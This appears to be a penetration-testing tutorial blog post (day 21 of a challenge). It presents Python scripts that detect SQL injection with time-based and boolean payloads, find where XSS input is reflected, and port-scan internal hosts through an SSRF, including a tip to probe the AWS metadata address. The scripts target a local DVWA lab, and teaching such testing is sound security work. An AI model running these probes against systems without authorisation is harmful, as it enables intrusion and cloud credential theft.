Dev.to Security 🔐 Cybersecurity 👁 0 📖 3 min read

Automating OWASP Top 10 Detection with Python and Burp

Automating OWASP Top 10 Detection with Python and Burp Day 21/60 -- Penetration Testing Challenge Manual testing is necessary, but automating the repetitive parts of OWASP Top 10 testing saves hours on every engagemen

Automating OWASP Top 10 Detection with Python and Burp

Day 21/60 -- Penetration Testing Challenge

Manual testing is necessary, but automating the repetitive parts of OWASP Top 10 testing saves hours on every engagement. Today I built a few scripts during my lab marathon that I want to share.

Automated SQLi Detection Script

Before pulling out sqlmap, I run a quick detection script to confirm injection points and determine the injection type:

import requests
import time
import sys

def detect_sqli(url, param, session_cookies=None):
    s = requests.Session()
    if session_cookies:
        s.cookies.update(session_cookies)

    baseline = s.get(url, params={param: '1'}).text
    baseline_len = len(baseline)

    tests = {
        'error': "1'",
        'bool_true': '1 AND 1=1',
        'bool_false': '1 AND 1=2',
        'time_mysql': "1' AND SLEEP(3)-- ",
        'time_mssql': "1'; WAITFOR DELAY '0:0:3'--",
    }

    results = {}
    for name, payload in tests.items():
        start = time.time()
        resp = s.get(url, params={param: payload})
        elapsed = time.time() - start
        diff = abs(len(resp.text) - baseline_len)

        if 'time' in name and elapsed > 2.5:
            results[name] = f'LIKELY (delay={elapsed:.1f}s)'
        elif name == 'error' and ('error' in resp.text.lower() or 'sql' in resp.text.lower()):
            results[name] = f'ERROR DETECTED (len_diff={diff})'
        elif name == 'bool_true' and diff < 50:
            results['bool_true'] = f'Same as baseline (diff={diff})'
        elif name == 'bool_false' and diff > 100:
            results['bool_false'] = f'DIFFERENT from baseline (diff={diff})'
        else:
            results[name] = f'No indicator (diff={diff}, time={elapsed:.1f}s)'

    return results

if __name__ == '__main__':
    url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost/dvwa/vulnerabilities/sqli/'
    for test, result in detect_sqli(url, 'id', {'security': 'low'}).items():
        print(f'  {test}: {result}')

This gives you a quick read on which injection types are viable before you commit time to extraction.

XSS Context Analyzer

Instead of throwing payloads blindly, figure out where your input lands:

import requests
from html.parser import HTMLParser

def find_reflection_context(url, param, canary='XSS_CANARY_7291'):
    resp = requests.get(url, params={param: canary})
    body = resp.text
    contexts = []

    idx = 0
    while True:
        pos = body.find(canary, idx)
        if pos == -1:
            break

        before = body[max(0, pos-200):pos]

        if '<script' in before.rsplit('<', 1)[-1:][0] if '<' in before else '':
            contexts.append(('javascript_string', pos))
        elif before.rstrip().endswith('='):
            contexts.append(('attribute_value_unquoted', pos))
        elif before.rstrip().endswith('"'):
            contexts.append(('attribute_value_doublequoted', pos))
        elif before.rstrip().endswith("'"):
            contexts.append(('attribute_value_singlequoted', pos))
        else:
            contexts.append(('html_body', pos))

        idx = pos + len(canary)

    return contexts

results = find_reflection_context('http://localhost/dvwa/vulnerabilities/xss_r/', 'name')
for ctx, pos in results:
    print(f'  Reflected at position {pos}: context={ctx}')

Knowing the context tells you exactly which payload class to use. No guessing, no wasted attempts.

SSRF Port Scanner

When you find an SSRF, use it to map internal services:

import requests
import concurrent.futures

def ssrf_port_scan(vuln_url, param, internal_host='127.0.0.1', ports=None):
    if ports is None:
        ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]

    open_ports = []

    def check_port(port):
        ssrf_target = f'http://{internal_host}:{port}/'
        try:
            resp = requests.post(vuln_url, data={param: ssrf_target}, timeout=5)
            if len(resp.text) > 100 and resp.status_code == 200:
                return port, len(resp.text)
        except requests.Timeout:
            return port, 'timeout (possibly open)'
        return None

    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool:
        futures = {pool.submit(check_port, p): p for p in ports}
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                open_ports.append(result)
                print(f'  Port {result[0]}: response_length={result[1]}')

    return open_ports

This turns a single SSRF into a full internal port map. On AWS instances, always add 169.254.169.254 port 80 to the list for metadata.

Key Takeaways

Automation does not replace manual testing, but it handles the repetitive detection phase so you can spend your time on the creative exploitation work. These scripts are starting points -- adapt them for each engagement.

Day 21/60 of the 60 Day Penetration Testing Challenge

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.